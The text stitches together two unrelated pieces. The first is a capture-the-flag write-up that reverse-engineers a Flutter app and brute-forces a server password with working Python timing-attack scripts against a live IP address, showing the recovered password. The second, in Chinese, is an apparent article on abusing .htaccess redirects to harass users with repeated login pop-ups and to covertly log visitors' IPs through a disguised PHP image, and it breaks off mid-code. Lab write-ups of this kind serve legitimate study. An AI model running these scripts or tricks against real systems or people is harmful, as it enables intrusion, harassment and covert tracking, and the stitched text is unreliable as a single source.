> Flutter is an open-source mobile application development framework created by Google. It is used to develop applications for Android and iOS (Wikipedia)
Looking around, most of the files seem either framework-related or bare-bones.
The application name seems to be "locksmither", let's search for all instances of it in order to be able to a closer look at the application specific code:
```console
root@kali:/media/sf_CTFs/mossad/1/app# grep -rnw locksmither
AndroidManifest.xml:1:<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.iwalk.locksmither" platformBuildVersionCode="1" platformBuildVersionName="1.0.0">
AndroidManifest.xml:4: <activity android:configChanges="density|fontScale|keyboard|keyboardHidden|layoutDirection|locale|orientation|screenLayout|screenSize" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.iwalk.locksmither.MainActivity" android:theme="@style/LaunchTheme" android:windowSoftInputMode="adjustResize">
Binary file assets/flutter_assets/kernel_blob.bin matches
smali/com/iwalk/locksmither/BuildConfig.smali:1:.class public final Lcom/iwalk/locksmither/BuildConfig;
smali/com/iwalk/locksmither/BuildConfig.smali:7:.field public static final APPLICATION_ID:Ljava/lang/String; = "com.iwalk.locksmither"
smali/com/iwalk/locksmither/BuildConfig.smali:31: sput-boolean v0, Lcom/iwalk/locksmither/BuildConfig;->DEBUG:Z
smali/com/iwalk/locksmither/MainActivity.smali:1:.class public Lcom/iwalk/locksmither/MainActivity;
smali/com/iwalk/locksmither/R$drawable.smali:1:.class public final Lcom/iwalk/locksmither/R$drawable;
smali/com/iwalk/locksmither/R$drawable.smali:8: value = Lcom/iwalk/locksmither/R;
smali/com/iwalk/locksmither/R$mipmap.smali:1:.class public final Lcom/iwalk/locksmither/R$mipmap;
smali/com/iwalk/locksmither/R$mipmap.smali:8: value = Lcom/iwalk/locksmither/R;
smali/com/iwalk/locksmither/R$style.smali:1:.class public final Lcom/iwalk/locksmither/R$style;
smali/com/iwalk/locksmither/R$style.smali:8: value = Lcom/iwalk/locksmither/R;
smali/com/iwalk/locksmither/R.smali:1:.class public final Lcom/iwalk/locksmither/R;
smali/com/iwalk/locksmither/R.smali:9: Lcom/iwalk/locksmither/R$style;,
smali/com/iwalk/locksmither/R.smali:10: Lcom/iwalk/locksmither/R$mipmap;,
smali/com/iwalk/locksmither/R.smali:11: Lcom/iwalk/locksmither/R$drawable;
```
The following line stands out:
```
Binary file assets/flutter_assets/kernel_blob.bin matches
```
Why is the application name found in a binary file?
```console
root@kali:/media/sf_CTFs/mossad/1/app# strings assets/flutter_assets/kernel_blob.bin | grep locksmither
Cfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/main.dart
import 'package:locksmither/routes.dart';
Mfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/models/AuthURL.dart
Kfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/models/token.dart
Qfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/cookie_jar.dart
Iimport 'package:locksmither/models/token.dart';
Vfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/network_actions.dart
import 'package:locksmither/network/network_wrapper.dart';
import 'package:locksmither/models/token.dart';
import 'package:locksmither/models/AuthURL.dart';
Vfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/network_wrapper.dart
Nfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/pages/home_page.dart
import 'package:locksmither/network/cookie_jar.dart';
import 'package:locksmither/models/token.dart';
Ofile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/pages/login_page.dart
import 'package:locksmither/network/network_actions.dart';
import 'package:locksmither/network/cookie_jar.dart';
import 'package:locksmither/models/token.dart';
Efile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/routes.dart
import 'package:locksmither/pages/login_page.dart';
import 'package:locksmither/pages/home_page.dart';
```
This looks like paths and code, it's worth taking a closer look.
```console
root@kali:/media/sf_CTFs/mossad/1/app# xxd -u assets/flutter_assets/kernel_blob.bin | grep main.dart -B 10 -A 10
004fffa0: C000 87E0 C000 87D6 C000 87EA C000 87CB ................
004fffb0: C000 8841 C000 884A C000 884B C000 887D ...A...J...K...}
004fffc0: C000 8861 C000 8889 C000 889A C000 889C ...a............
004fffd0: C000 8A48 C000 8A1C C000 899F C000 8AB2 ...H............
004fffe0: 8A5F 8A63 8A64 8A65 8A66 8A69 8FF3 0000 ._.c.d.e.f.i....
004ffff0: 0000 0000 4FFF F100 0000 0000 4FFF F300 ....O.......O...
00500000: 0000 0000 0002 2C00 0000 4366 696C 653A ......,...Cfile:
00500010: 2F2F 2F43 3A2F 5573 6572 732F 5553 4552 ///C:/Users/USER
00500020: 2F44 6573 6B74 6F70 2F32 3031 392F 636C /Desktop/2019/cl
00500030: 6965 6E74 2F6C 6F63 6B73 6D69 7468 6572 ient/locksmither
00500040: 2F6C 6962 2F6D 6169 6E2E 6461 7274 81DE /lib/main.dart..
00500050: 696D 706F 7274 2027 7061 636B 6167 653A import 'package:
00500060: 666C 7574 7465 722F 6D61 7465 7269 616C flutter/material
00500070: 2E64 6172 7427 3B0D 0A69 6D70 6F72 7420 .dart';..import
00500080: 2770 6163 6B61 6765 3A6C 6F63 6B73 6D69 'package:locksmi
00500090: 7468 6572 2F72 6F75 7465 732E 6461 7274 ther/routes.dart
005000a0: 273B 0D0A 0D0A 766F 6964 206D 6169 6E28 ';....void main(
005000b0: 2920 3D3E 2072 756E 4170 7028 4C6F 636B ) => runApp(Lock
005000c0: 536D 6974 6865 7241 7070 2829 293B 0D0A SmitherApp());..
005000d0: 0D0A 636C 6173 7320 4C6F 636B 536D 6974 ..class LockSmit
005000e0: 6865 7241 7070 2065 7874 656E 6473 2053 herApp extends S
```
This is actual code!
We search `kernel_blob.bin` for all locations of the user application (i.e. paths that start with "`file:///C:/Users/USER/Desktop/2019/client/locksmither/`") and extract the following files:
```console
root@kali:/media/sf_CTFs/mossad/1/app# ls -l ../*.dart
-rwxrwx--- 1 root vboxsf 287 May 9 10:50 ../AuthURL.dart
-rwxrwx--- 1 root vboxsf 329 May 9 10:50 ../cookie_jar.dart
-rwxrwx--- 1 root vboxsf 839 May 9 10:52 ../home_page.dart
-rwxrwx--- 1 root vboxsf 3569 May 9 10:52 ../login_page.dart
-rwxrwx--- 1 root vboxsf 478 May 9 10:49 ../main.dart
-rwxrwx--- 1 root vboxsf 1279 May 9 10:51 ../network_actions.dart
-rwxrwx--- 1 root vboxsf 1993 May 9 10:51 ../network_wrapper.dart
-rwxrwx--- 1 root vboxsf 355 May 9 10:53 ../routes.dart
-rwxrwx--- 1 root vboxsf 574 May 9 10:50 ../token.dart
```
The files are attached under the `Challenge1_files` folder.
From `login_page.dart` we can learn that the application UI offers two fields: A seed and a password:
```dart
new Form(
key: formKey,
child: new Column(
children: <Widget>[
new Padding(
padding: const EdgeInsets.all(8.0),
child: new TextFormField(
onSaved: (val) => _seed = val,
decoration: new InputDecoration(labelText: "Seed"),
),
),
new Padding(
padding: const EdgeInsets.all(8.0),
child: new TextFormField(
onSaved: (val) => _password = val,
decoration: new InputDecoration(labelText: "Password"),
),
),
],
),
),
```
The login logic is located in `network_actions.dart`:
```dart
class NetworkActions {
NetworkWrapper _netUtil = new NetworkWrapper();
static const BASE_URL = "http://35.246.158.51:8070";
static const LOGIN_URL = BASE_URL + "/auth/getUrl";
Future<Token> login(String seed, String password) {
var headers = new Map<String,String>();
return _netUtil.get(LOGIN_URL, headers:headers).then((dynamic authUrl) {
try {
if (authUrl == null) {
return Future<Token>.sync(() => new Token("", false, 0));
}
var loginUrl = BASE_URL + AuthURL.map(json.decode(authUrl.body)).url;
Map<String,String> body = { "Seed": seed, "Password": password };
Map<String,String> headers = {"content-type": "application/json"};
return _netUtil.post(loginUrl,body: json.encode(body), headers:headers).then((dynamic token) {
return Token.map(token);
});
} catch (e) {
return Future<Token>.sync(() => new Token("", false, 0));
}
}).catchError((e) {
return null;
});
}
}
```
First, the authentication URL is received by making a request to `/auth/getUrl`.
Then, the seed and password are verified against the login service.
Successfully logging in will take us to the home page, revealing a lock URL:
```dart
String get lockURL => _token.lockURL;
int get time => _token.time;
@override
Widget build(BuildContext context) {
return new Scaffold(
appBar: new AppBar(title: new Text("Home"),),
body: new Center(
child: new Text("Success!\nLock Url: $lockURL\nObtained in: $time nanoseconds"
),
),
);
}
```
The obvious next move is to investigate the API:
```console
root@kali:/media/sf_CTFs/mossad/1# curl http://35.246.158.51:8070/auth/getUrl
{"AuthURL":"/auth/v2"}
```
Let's try to authenticate with random credentials (we add the user agent since that's what the application uses, as seen in `network_wrapper.dart`):
```console
root@kali:/media/sf_CTFs/mossad/1# curl -X POST http://35.246.158.51:8070/auth/v2 -H "Content-Type: application/json" -d '{"Seed":"12345", "Password":"pass"}' -H "User-Agent: iWalk-v2"
&& echo
{"IsValid":false,"LockURL":"","Time":129238}
```
Obviously we get `IsValid = False`, but the detail that stands out here it the `Time` member.
We try the same request again and get a different time:
```console
root@kali:/media/sf_CTFs/mossad/1# curl -X POST http://35.246.158.51:8070/auth/v2 -H "Content-Type: application/json" -d '{"Seed":"12345", "Password":"pass"}' -H "User-Agent: iWalk-v2" && echo
{"IsValid":false,"LockURL":"","Time":102929}
```
The result this time is smaller, meaning that this isn't a running clock. And in fact, we can see from the success message above that this is the amount of time, in nanoseconds, that it took the server to respond.
This is very good news since it might allow us to perform a [Timing Attack](https://en.wikipedia.org/wiki/Timing_attack):
> In cryptography, a timing attack is a side channel attack in which the attacker attempts to compromise a cryptosystem by analyzing the time taken to execute cryptographic algorithms. Every logical operation in a computer takes time to execute, and the time can differ based on the input; with precise measurements of the time for each operation, an attacker can work backwards to the input.
The high-level concept is as follows:
1. For each legal character that a password can contain:
1. Send a request with the current character as the first character of the password and some other random string for the rest of the password
2. Measure the time it takes for the server to respond
3. If the server is vulnerable to a timing attack (by comparing the user password to the real password character by character), the time it takes for the server to respond when we send the correct first character will be a bit longer. This is because in this case, the server performs two comparisons (one for the first letter which is successful, and then for the second letter which is probably wrong), while in the common case the server will find out that the password is wrong during the first comparison
4. After revealing the first letter of the password, repeat the procedure for the rest of the password
We can use the following script as a proof of concept:
```python
import requests
import string
import json
def send_request(payload):
headers = {'User-Agent': 'iWalk-v2'}
r = requests.post("http://35.246.158.51:8070/auth/v2", json={"Seed":"12345", "Password": payload}, headers = headers)
j = json.loads(r.text)
return j
l = []
for c in string.printable:
r = send_request(c + "#")
l.append((r["Time"], c))
print(sorted(l, reverse = True))
```
The result:
```console
root@kali:/media/sf_CTFs/mossad/1# python timing.py
[(163682, 'P'), (156899, '"'), (146783, 'C'), (145022, "'"), (143158, '1'), (139654, 'j'), (139454, 'L'), (135785, '8'), (134824, '9'), (132512, '!'), (131702, '='), (131552, '$'), (131263, '0'), (131155, '@'), (130981, 'N'), (129179, 'b'), (128047, 'E'), (128036, 'G'), (127787, 'h'), (127631, '\x0b'), (127044, 'A'), (126666, 'q'), (126146, 'n'), (125356, ','), (125075, ' '), (124757, 'X'), (124608, 'F'), (124069, 'w'), (124025, 'Y'), (123364, 'm'), (122906, 'g'), (122613, 'u'), (122606, '\t'), (121776, '~'), (121402, '\x0c'), (121275, '.'), (120777, '^'), (120572, '5'), (120426, 'D'), (120388, 'l'), (120097, 'H'), (120018, '?'), (119420, 'J'), (119327, 'r'), (119326, '4'), (119259, 'V'), (119190, 'y'), (118724, 'I'), (118169, '&'), (118157, 'T'), (118114, 'O'), (117913, '`'), (117629, '+'), (117480, 's'), (117362, 'Q'), (116088, '\\'), (116053, '\n'), (115872, 'B'), (115745, '/'), (115344, 'R'), (115142, '7'), (114646, '6'), (114521, 'a'), (114003, 'K'), (113926, 'f'), (113572, '\r'), (113293, 'v'), (113253, 't'), (113185, 'p'), (113152, ')'), (112912, '('), (112414, '|'), (111918, '['), (111859, 'k'), (111699, ':'), (111509, ']'), (111354, 'M'), (111118, '#'), (110780, 'c'), (110737, 'z'), (110175, 'S'), (109707, '3'), (109606, 'e'), (109528, '{'), (109424, '}'), (109305, 'U'), (108920, '-'), (108639, 'Z'), (108453, '_'), (108418, '2'), (108109, '*'), (108038, 'o'), (107736, 'd'), (107513, '<'), (107136, '>'), (106291, '%'), (105649, 'W'), (104954, ';'), (103039, 'i'), (78280, 'x')]
```
According to these results, "P" is probably the first letter of the password.
In order to double check, we run again:
```console
root@kali:/media/sf_CTFs/mossad/1# python 1.py
[(162929, 'q'), (159551, 'S'), (152178, '\t'), (148898, '['), (147134, '%'), (144974, 'm'), (144912, 'F'), (143515, 'E'), (142428, 't'), (135889, '/'), (135324, 'G'), (132307, 'b'), (130708, '@'), (129942, 'a'), (128031, '>'), (127303, 'W'), (127025, '?'), (126839, 'C'), (126811, '\\'), (126428, '\x0b'), (126067, 'V'), (125985, 'l'), (125777, '^'), (124175, 'D'), (124024, ']'), (123713, 'k'), (123555, '6'), (122888, 'o'), (122160, 'y'), (122144, 'w'), (122098, 'g'), (121428, '2'), (120693, 'Z'), (120687, '$'), (120657, 'v'), (120651, '\r'), (119935, 'z'), (119293, '\n'), (118910, '+'), (118698, '*'), (118381, ')'), (118298, '8'), (117939, '='), (117692, 'N'), (117053, ','), (116495, '&'), (116462, '4'), (116365, 'R'), (116194, '('), (116189, '9'), (115807, 'Q'), (115520, 'H'), (115339, 'B'), (115256, '{'), (114959, '<'), (114855, 'P'), (114757, '|'), (114453, 'e'), (114298, ':'), (114273, '#'), (114107, 'r'), (113600, '.'), (113431, 'K'), (113371, 'A'), (113337, 'Y'), (113289, '}'), (112673, "'"), (112593, 'M'), (112572, 'p'), (112448, 'j'), (112426, '"'), (112342, 'X'), (112101, 'L'), (111912, '-'), (111818, '\x0c'), (111721, '0'), (111695, 'f'), (111695, ';'), (111470, 'h'), (111458, '5'), (111301, 'T'), (111074, 'I'), (110847, 's'), (110547, 'n'), (110543, 'x'), (110320, 'u'), (110306, '`'), (109994, '1'), (109928, 'O'), (109895, '3'), (109740, '!'), (108844, 'c'), (108607, '7'), (106737, 'J'), (106614, '~'), (106584, 'U'), (106269, '_'), (105884, ' '), (97347, 'd'), (94793, 'i')]
```
This time we get completely different results, and "P" is not even close to the top. We can repeat the experiment several times and each time we get very different results. The conclusion must be that this service is not vulnerable to a timing attack.
It's back to the drawing board, however there's not too much to work with anymore.
After thoroughly reviewing everything several times, we go back to the manifest and concentrate on the following line:
```xml
<application android:data="look for us on github.com" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="LockSmither" android:name="io.flutter.app.FlutterApplication">
```
The `android:data` attribute is easy to look over at first, but upon closer examination it's a bit suspicious that the sentence doesn't start with a capital letter like we would expect if this was copied from some official source. What is this is a hint?
Github has many results for [iwalk](https://github.com/search?q=iwalk) and [LockSmither](https://github.com/search?q=LockSmither), but only one result for the combination [iWalk-LockSmither](https://github.com/search?q=iWalk-LockSmither&type=Users)!
In the single commit by this user, the following code was checked in:
```go
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"time"
)
type AuthURL struct {
AuthURL string
}
type LoginData struct {
Seed string
Password string
}
type AuthResponse struct {
IsValid bool
LockURL string
Time time.Duration
}
func notFound(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Page not found")
}
func getAuthURL(w http.ResponseWriter, r *http.Request) {
userAgent := r.Header.Get("User-Agent")
url := "/auth/v2"
if userAgent == "ed9ae2c0-9b15-4556-a393-23d500675d4b" {
url = "/auth/v1_1"
}
resp := AuthURL{AuthURL: url}
w.Header().Set("Server", "iWalk-Server-v2")
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(resp)
}
//iWalk-Locks: Production auth
func v2Auth(w http.ResponseWriter, r *http.Request) {
start := time.Now()
decoder := json.NewDecoder(r.Body)
var loginData LoginData
err := decoder.Decode(&loginData)
if err != nil {
ret := getResponseToken(start, false, "")
returnToken(w, ret)
return
}
//LockSmiter: better Auth checks for our app
for _, lock := range getLocks() {
if lock.Password == loginData.Password && lock.Seed == loginData.Seed {
ret := getResponseToken(start, true, lock.Value)
returnToken(w, ret)
return
}
}
ret := getResponseToken(start, false, "")
returnToken(w, ret)
}
//iWalk-Locks: old auth, depcrated developed by OG
//that is no longer with us
//TODO: deprecated, remove from code
func v1Auth(w http.ResponseWriter, r *http.Request) {
userAgent := r.Header.Get("User-Agent")
if userAgent != "ed9ae2c0-9b15-4556-a393-23d500675d4b" {
returnServerError(w, r)
return
}
start := time.Now()
decoder := json.NewDecoder(r.Body)
var loginData LoginData
err := decoder.Decode(&loginData)
if err != nil {
ret := getResponseToken(start, false, "")
returnToken(w, ret)
return
}
for _, lock := range getLocks() {
if loginData.Seed != lock.Seed {
continue
}
currentIndex := 0
for currentIndex < len(lock.Password) && currentIndex < len(loginData.Password) {
if lock.Password[currentIndex] != loginData.Password[currentIndex] {
break
}
//OG: securing against bruteforce attempts... ;-)
time.Sleep(30 * time.Millisecond)
currentIndex++
}
if currentIndex == len(lock.Password) {
ret := getResponseToken(start, true, lock.Value)
returnToken(w, ret)
return
}
}
ret := getResponseToken(start, false, "")
returnToken(w, ret)
}
func getResponseToken(from time.Time, isValid bool, lockURL string) []byte {
elapsed := time.Since(from)
resp := AuthResponse{IsValid: isValid, LockURL: lockURL, Time: elapsed}
js, err := json.Marshal(resp)
if err != nil {
return nil
}
return js
}
func returnToken(w http.ResponseWriter, js []byte) {
if js == nil {
http.Error(w, "", http.StatusInternalServerError)
return
}
w.Header().Set("Server", "iWalk-Server-v2")
w.Header().Set("Content-Type", "application/json")
w.Write(js)
}
func returnServerError(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Server", "iWalk-Server-v2")
http.Error(w, "Oh no. We might have a problem; trained monkies are on it.", http.StatusInternalServerError)
}
func main() {
if getLocks() == nil {
panic("Something is wrong with the locks file")
}
http.HandleFunc("/auth/getUrl", getAuthURL)
http.HandleFunc("/auth/v1_1", v1Auth)
http.HandleFunc("/auth/v2", v2Auth)
http.HandleFunc("/", notFound)
log.Fatal(http.ListenAndServe(":8070", nil))
}
```
This is the missing piece we needed!
We can see that there is a deprecated API (`v1Auth`) which is available only using a certain user agent:
```console
root@kali:/media/sf_CTFs/mossad/1# curl http://35.246.158.51:8070/auth/getUrl
{"AuthURL":"/auth/v2"}
root@kali:/media/sf_CTFs/mossad/1# curl http://35.246.158.51:8070/auth/getUrl -H "User-Agent: ed9ae2c0-9b15-4556-a393-23d500675d4b"
{"AuthURL":"/auth/v1_1"}
```
Luckily, this API is vulnerable to a timing attack:
```go
for currentIndex < len(lock.Password) && currentIndex < len(loginData.Password) {
if lock.Password[currentIndex] != loginData.Password[currentIndex] {
break
}
//OG: securing against bruteforce attempts... ;-)
time.Sleep(30 * time.Millisecond)
currentIndex++
}
```
When we send a correct character, the server will wait 30 milliseconds before continuing to the next character, making it easy to isolate the correct character.
The only thing we have to bypass now is the following check:
```go
if loginData.Seed != lock.Seed {
continue
}
```
If we don't know the correct seed, we won't be able to get to the character comparison. We can't brute force the seed since we have any information leaking at this stage, i.e. we can't distinguish a good seed from a bad one.
Since there doesn't seem any other way around this, our only reasonable strategy is to use the only piece of information we haven't used yet - the client ID from the description.
Let's try it:
```python
import requests
import string
import json
def send_request(payload):
headers = {'User-Agent': 'ed9ae2c0-9b15-4556-a393-23d500675d4b'}
r = requests.post("http://35.246.158.51:8070/auth/v1_1", json={"Seed":"b27098b891ae4eb29b3d57b8f0b1279d", "Password": payload}, headers = headers)
j = json.loads(r.text)
return j
l = []
for c in string.printable:
r = send_request(c + "#")
l.append((r["Time"], c))
print(sorted(l, reverse = True))
```
Output:
```console
root@kali:/media/sf_CTFs/mossad/1# python timing.py
[(30297821, '8'), (299177, '^'), (225591, 'g'), (220877, 'J'), (214820, '9'), (199345, 'o'), (195457, '"'), (195241, '\n'), (194002, ','), (193293, '\r'), (190532, '\t'), (188643, 's'), (188146, 'V'), (186111, 'T'), (185161, 'N'), (185028, 'Y'), (183405, 'X'), (183234, 'l'), (182483, '6'), (182456, 'b'), (182241, '<'), (181334, '!'), (178178, 'G'), (178124, 'x'), (177788, 'e'), (177576, '$'), (176918, 'C'), (176083, 'j'), (174459, ')'), (174277, 'S'), (173024, 'E'), (172562, 'O'), (172215, 'k'), (172177, 'r'), (171948, ':'), (171693, 'W'), (171325, 'P'), (169705, 'q'), (169170, '4'), (169059, '\x0c'), (168927, '7'), (168658, '}'), (168632, '|'), (168210, 'z'), (168172, ' '), (168043, '>'), (166839, '&'), (166585, '5'), (166238, 'u'), (165316, '2'), (165023, 'A'), (164470, 'B'), (164381, 'D'), (164035, '*'), (163765, '\x0b'), (163733, '#'), (163578, 'i'), (163529, '?'), (163259, 'm'), (162995, 'U'), (162713, "'"), (162601, '`'), (162267, 'y'), (161912, 'K'), (161689, '1'), (161392, 'c'), (161292, 'w'), (161221, '{'), (160424, 'h'), (159986, 'I'), (159927, '('), (159717, '+'), (159480, '0'), (159385, ']'), (158972, 'H'), (158693, '~'), (158634, '3'), (158297, 'n'), (158277, '='), (158116, 'p'), (158082, 'M'), (158059, 'F'), (158044, 'Q'), (157507, 'Z'), (157177, '%'), (157097, '/'), (156999, '['), (156588, '_'), (156581, 'd'), (156274, 'f'), (156232, 'a'), (155671, 't'), (155460, 'R'), (154342, '-'), (154146, '\\'), (153440, '@'), (151308, 'v'), (150976, 'L'), (149162, ';'), (148828, '.')]
root@kali:/media/sf_CTFs/mossad/1# python timing.py
[(30255514, '8'), (255535, 'l'), (208315, 'v'), (205267, 'f'), (200087, '^'), (197082, 'q'), (195745, 'r'), (194660, 's'), (186805, 'B'), (185840, '3'), (181089, '4'), (180780, '?'), (180144, 'O'), (178863, 'a'), (177931, 'p'), (177763, '_'), (177756, 'J'), (176735, "'"), (176232, '!'), (175732, 'I'), (175128, 'R'), (174867, '@'), (174858, '9'), (174730, 'A'), (174675, '"'), (173457, 'j'), (173435, '#'), (172652, 'L'), (172419, ':'), (172269, 'o'), (171940, 'g'), (171812, '+'), (171080, '-'), (170780, 'S'), (170205, 'k'), (169251, '&'), (169217, 'M'), (168910, 'Z'), (167135, '<'), (167123, '\x0c'), (167101, 'P'), (167100, '1'), (166640, 'm'), (166395, '\x0b'), (166386, '%'), (165335, ','), (164965, 'x'), (164965, 'c'), (164864, 'C'), (164136, '\t'), (163903, '5'), (163892, 'y'), (163660, '*'), (163508, '.'), (163465, '`'), (163437, 'G'), (163328, 'Q'), (162983, 'F'), (162730, 'X'), (162463, 'b'), (162249, '2'), (161992, '>'), (161910, 'w'), (161624, 'u'), (161342, '/'), (161326, 'T'), (161166, '0'), (160766, '('), (160611, 'V'), (159719, 'H'), (159149, ' '), (158566, 'U'), (158408, '['), (158281, 'z'), (158154, '$'), (157983, '~'), (157642, 'K'), (157615, 'd'), (157545, '6'), (157347, '7'), (157185, '|'), (157041, '\r'), (156871, 'D'), (156260, '{'), (156160, ')'), (156053, 'e'), (155840, '\\'), (155520, 'h'), (155516, '='), (155361, 'Y'), (155184, 'E'), (155151, 'i'), (154420, 'W'), (154251, '}'), (153745, ']'), (149470, '\n'), (148354, 'n'), (147696, ';'), (147150, 'N'), (145426, 't')]
```
We got a consistent "8" twice in a row, with a large delta from the next runner-up. This means that we're on the right track.
The following script will extract the complete password:
```python
import requests
import string
import json
import sys
def send_request(payload):
headers = {'User-Agent': 'ed9ae2c0-9b15-4556-a393-23d500675d4b'}
r = requests.post("http://35.246.158.51:8070/auth/v1_1", json={"Seed":"b27098b891ae4eb29b3d57b8f0b1279d", "Password": payload}, headers = headers)
j = json.loads(r.text)
return j
def timing_attack():
password = ""
sys.stdout.write("Progress: ")
sys.stdout.flush()
while True:
l = []
for c in '1234567890abcdef':
r = send_request(password + c + "#")
if r["IsValid"]:
return (r, password + c)
l.append((r["Time"], c))
s = sorted(l, reverse = True)
new_char = s[0][1]
sys.stdout.write(new_char)
sys.stdout.flush()
password += new_char
return None
if __name__ == "__main__":
(response, password) = timing_attack()
print ("\nPassword: {}".format(password))
print ("URL: {}".format(response["LockURL"]))
```
Note that we're only trying lowercase HEX characters, since from the first few results it seems as though the password is lowercase HEX. This allowed running much faster. If this assumption would have been found to be incorrect, we would have tried iterating over `string.printable`.
The output:
```console
root@kali:/media/sf_CTFs/mossad/1# python timing.py
Progress: 81c4727e019d42e49fe9bcca9b2b0c8
Password: 81c4727e019d42e49fe9bcca9b2b0c8c
URL: http://3d375032374147a7865753e4bbc92682.xyz/c76de3be5d23447e95d498aeff4ca5fc
```

|
sec-knowleage
|
原文 by [看雪学院](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458286843&idx=1&sn=15e3d1aa8ae418cc5ed6010b390388b6&chksm=b1814a7186f6c367a24033a297edc3fe2275334f45fd0b944bb606dc449e027beb1b4bc6997d&scene=0#rd)
这是关于使用htaccess进行开发的两部分系列的第一部分。我将在这里介绍一些基本的、众所周知的方法,还有一些鲜为人知的方法。在第2部分中,我将通过使用htaccess来开发更高级的开发方法。
在本指南中,我将尝试解释.htaccess的各种非常规用法,这些用法对于渗透测试和后渗透攻击非常有用。我假设大多数读者会对.htaccess有所了解,但是对于那些不了解的人我会提供一个简短的解释。不管你对htaccess规则是否熟悉,我都希望这些内容很容易被大家掌握。
我将要介绍的内容中有一些方法有点过时了,但是其中很多依旧在使用着,并且即使是过时的方法,当攻击者在攻击一台没有对软件及时更新的机器,也是可以成功利用的。
对于那些不熟悉.htaccess的人,这里是一个简短的解释(来自htmlgoodies.com,):
htaccess是超文本访问(Hypertext Access)的缩写,是一个基于Apache的Web服务器使用的配置文件,用于控制它所在的目录以及该目录下的所有子目录。
很多时候,如果你已经安装了内容管理系统(CMS),比如Drupal,Joomla或者Wordpress,你可能会遇到.htaccess文件。 一般来说你不需要编辑它,但这个文件是你上传到Web服务器的文件之一。
.htaccess文件的主要功能包括使用密码保护文件夹,禁止或允许用户使用IP地址访问,禁止目录浏览,将用户自动重定向到另一个页面或目录,创建和使用自定义错误页面,改变具有特定扩展名的文件的使用方式,或者通过指定文件扩展名或特定文件作为主页。
简而言之,这是一套包含在您的网络服务器上的规则(在一个名为.htaccess的文件中),它允许您执行诸如使用密码保护目录或为扩展创建别名等选项,例如,如果您有一个页面 `http://site.com/something/file.php` 你可以设置一个htaccess的规则,以便当页面加载时,将使用户`http://site.com/something/file` (隐藏扩展名) - 或者你 可以使用它来做一些像302重定向一个页面到另一个或HTTP 403的目录。
下面是一个htaccess文件的例子:
```
### MAIN DEFAULTS
Options +ExecCGI -Indexes
DirectoryIndex index.html index.htm index.php
DefaultLanguage en-US
AddDefaultCharset UTF-8
ServerSignature Off
```
有趣的是,你需要在所有.htaccess文件中添加ServerSignature Off指令,因为这样的话可以阻止在目录列表上显示你的服务器信息(这使得攻击者的侦察阶段会有非常明显的提示)。所以说,这个时候最好通过你的httpd.conf来完成对web服务的控制,而不是你的htaccess文件。
我将主要关注的重点放在.htaccess(mod_rewrite)中的apache的重写模块,这个模块允许重定向发生。 那么,我们开始吧。
## 用连续的弹出窗口骚扰互联网用户
我将要讨论的第一种方法是如何在他们试图利用的站点上滥用mod_rewrites来连续弹出窗口。
这是一个非常简单的方法,您可以将图像上传到服务器,然后使用htaccess文件来利用密码保护目录,并将该图像重定向到该密码保护的目录中的文件。 除了.htaccess之外,还需要一个.htpasswd文件,它将包含密码保护目录的登录凭证。
这个方法只是一个有趣的,没有任何实际价值,但我曾经看到它在以前的流行论坛上被利用,它是非常有效的。
为了演示这个例子,我们假设我们有两个文件,lol.jpg和umad.jpg,其中lol.jpg存储在一个公共目录中,umad.jpg存储在一个受密码保护的目录中。
这里对应的.htaccess文件应该是类似与这样:
```
Options +FollowSymlinks
RewriteEngine on
RewriteRule lol.jpg /protected-directory/umad.jpg [NC]
AuthUserFile /home/usr/.htpasswd
AuthName “r u mad tho”
AuthType Basic
require user lolololololol
```
除此之外,您还需要设置一个如下所示的.htpasswd文件:
`username:encryptedPass`
在这个实例中的用户名需要匹配你添加到你的.htaccess文件的用户名。至于加密的密码,这是通过PHP的crypt()函数生成的。如果您不想使用PHP,则还可以使用联机生成器来加密.htpasswd文件中的密码值。
然后你可以在论坛上设置路径为lol.jpg作为你的签名,每次有人查看你的线程,或者每当你在一个线程中发帖时,都会在屏幕上反复弹出,提示输入用户名/ 密码,可以让人非常讨厌。 当然这里也不一定是一个论坛。 如果你在任何形式的网站上有自定义头像或个人资料图片的选项,那么您也可以使用这种方法(假设它允许您从远程URL设置您的个人资料图像,而不仅仅是通过文件上传 形式) 。
任何浏览器渲染你的图像后,将被密码提示框反复弹窗。 这种利用方式可以用于像论坛签名,个人资料头像,或几乎所有的带图像上传功能,允许用户从远程URL抓取图像的网站。
### 不与用户交互的情况下识别浏览器指纹和记录IP地址
这种方法也是利用重定向的技巧,它可以让你在用户不知情的情况下跟踪人们的IP地址(或者通过执行PHP代码来完成任何你可以做的事情)。这将允许您以隐身方式执行浏览器指纹识别,通常目标完全发现不了。
这个例子又是一个简单的mod重写,唯一的区别是我们在这里重定向到一个PHP文件,而不是密码保护目录:
```
Options +FollowSymlinks
RewriteEngine on
RewriteRule lol.jpg /path/to/evil.php [NC]
```
假设攻击者在其服务器上有两个文件,lol.jpg是一个完全无害的图像文件,evil.php是一个用于信息收集的PHP脚本。
现在,这里的利用思路是欺骗服务器认为已经包含了有效的图像。从服务器的角度来看,它向图片文件发出请求。当它重定向到PHP脚本时,没有看到有效的图像,所以服务器通常不会在页面上包含图像(所以不会执行PHP)。
然而,我们可以使用PHP动态图像欺骗服务器,让服务器认为它包括lol.jpg而不是邪恶.php - 我们可以让PHP脚本输出一个图像,它也会运行任何恶意代码(在这个例子中是记录IP地址)。这可以通过imagecreate()函数来实现,这里是一个例子:
``` php
<?php
$log = 'log.htm';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];
$refer = $_SERVER['HTTP_REFERER'];
